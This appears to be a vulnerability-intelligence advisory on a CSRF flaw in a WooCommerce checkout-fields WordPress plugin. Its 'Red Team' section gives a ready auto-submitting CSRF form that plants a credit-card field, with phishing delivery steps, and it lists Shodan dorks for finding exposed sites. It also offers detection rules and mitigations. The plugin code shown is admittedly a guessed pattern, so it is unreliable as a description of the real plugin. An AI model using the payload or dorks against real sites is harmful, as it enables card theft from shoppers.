☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themelocation logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58799

CVE-2025-58799 Cross-Site Request Forgery in Themelocation
📅 PUBLISHED: 2025-09-05 14:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58799 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Custom WooCommerce Checkout Fields Editor plugin for WordPress, developed by Themelocation. This plugin, identified by the slug add-fields-to-checkout-page-woocommerce, allows attackers to forge malicious requests that can modify checkout field configurations without the administrator's consent. The vulnerability exists in all versions up to and including 1.3.4. As of this report, no official patch has been released, leaving sites actively exposed.

The CVSS v3.1 base score is 4.3 (Medium), reflecting the low complexity of the attack but the requirement for user interaction (e.g., an admin clicking a crafted link). The primary impact is on the integrity of the WooCommerce checkout form, potentially leading to data exfiltration or phishing attacks if fields are altered to capture sensitive information.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem, not in a standard package manager (NPM, PyPI, etc.). However, the plugin is distributed via the official WordPress Plugin Directory and can be installed automatically. The lack of a patch means that all installations are currently vulnerable, and site administrators must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) – The victim (admin) must click a link or visit a malicious page.
  • Scope (S): Unchanged (U) – The vulnerable component and the attacker's scope are the same.
  • Confidentiality (C): None (N) – No direct data disclosure.
  • Integrity (I): Low (L) – The attacker can modify checkout field settings.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the real-world risk is elevated due to the lack of a patch and the potential for attackers to inject malicious fields that capture credit card details or redirect payments.

Deep Dive & Mechanics

The vulnerability stems from the plugin's failure to implement CSRF tokens (nonces) in its administrative actions. Specifically, the plugin's settings page and AJAX handlers that add, edit, or delete custom checkout fields do not verify the origin of the request. An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress administrator, silently submits a forged request to the vulnerable endpoint.

Attack Flow:

  1. The attacker identifies a target site running the vulnerable plugin.
  2. The attacker crafts a CSRF payload (e.g., a hidden form or an image tag) that targets the plugin's admin AJAX endpoint.
  3. The attacker lures the admin to visit the malicious page (via phishing, social engineering, or cross-site scripting on another site).
  4. The admin's browser automatically sends the forged request with their session cookies.
  5. The plugin processes the request without validating the nonce, altering the checkout fields.

Impact: An attacker could:

  • Add a new custom field labeled "Credit Card Number" to the checkout page.
  • Remove existing fields to disrupt order processing.
  • Modify field validation rules to bypass security checks.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern. The plugin likely uses WordPress AJAX hooks without nonce verification.

Vulnerable Code (PHP):

add_action('wp_ajax_cwcf_save_field', 'cwcf_save_field_callback');
function cwcf_save_field_callback() {
    // No nonce check
    $field_data = $_POST['field'];
    // Save field to database
    update_option('cwcf_fields', $field_data);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_cwcf_save_field', 'cwcf_save_field_callback');
function cwcf_save_field_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'cwcf_save_field_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $field_data = $_POST['field'];
    update_option('cwcf_fields', $field_data);
    wp_die();
}

The patched version adds a call to wp_verify_nonce() to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site with the plugin installed and an admin logged in.
  • A way to deliver the CSRF payload (e.g., email, forum post).

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that targets the plugin's AJAX endpoint to add a malicious field.

<html>
<body>
<form id="csrf_form" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="cwcf_save_field">
    <input type="hidden" name="field[name]" value="credit_card">
    <input type="hidden" name="field[label]" value="Credit Card Number">
    <input type="hidden" name="field[type]" value="text">
    <input type="hidden" name="field[required]" value="yes">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Step 2: Deliver the Payload Host the file on an attacker-controlled server and send the link to the admin (e.g., via a phishing email).

Step 3: Verify After the admin visits the link, the malicious field will appear on the WooCommerce checkout page.

Blue Team (Defense & Detection)

Detection:

  • Monitor for unexpected changes to the wp_options table, specifically the cwcf_fields option.
  • Look for AJAX requests to admin-ajax.php with the action parameter set to cwcf_save_field or similar, originating from external referrers.

Mitigation:

  • Immediate: Disable or remove the plugin until a patch is released.
  • Workaround: Add a custom nonce check via a WordPress plugin like "Nonce Manager" or by editing the plugin's code (not recommended for non-developers).
  • Long-term: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php without a valid nonce.

Indicators of Compromise (IOCs)

  • File System: Presence of the plugin directory /wp-content/plugins/add-fields-to-checkout-page-woocommerce/.
  • Database: Unusual entries in the wp_options table under the cwcf_fields key.
  • Network: HTTP POST requests to /wp-admin/admin-ajax.php with parameters action=cwcf_save_field and a Referer header not matching the site's admin URL.
  • Logs: WordPress debug log entries showing AJAX calls without nonce verification.

Detection Engineering

YARA Rule

rule CVE_2025_58799_CSRF_Plugin {
    meta:
        description = "Detects vulnerable Custom WooCommerce Checkout Fields Editor plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-58799"
    strings:
        $ajax_hook = "wp_ajax_cwcf_" nocase
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $ajax_hook and not $no_nonce
}

Sigma Rule

title: CVE-2025-58799 CSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF attempts against the Custom WooCommerce Checkout Fields Editor plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=cwcf_save_field'
            - 'field[name]='
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present, but this rule does not check nonce)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58799 CSRF Attempt - Custom WooCommerce Checkout Fields Editor"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=cwcf_save_field"; http_client_body; content:"field[name]="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Deactivate and uninstall the plugin from all WordPress installations.
  2. Alternative Plugin: Use a different, actively maintained custom fields plugin for WooCommerce (e.g., "Checkout Field Editor for WooCommerce" by ThemeHigh).
  3. WAF Rule: Deploy a WAF rule to block POST requests to admin-ajax.php that lack a valid nonce parameter.
  4. User Education: Train administrators to avoid clicking suspicious links while logged into the WordPress admin panel.
  5. Monitor: Regularly audit the wp_options table for unauthorized changes to plugin settings.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Custom WooCommerce Checkout Fields Editor"
http.html:"wp-content/plugins/add-fields-to-checkout-page-woocommerce"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58799/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.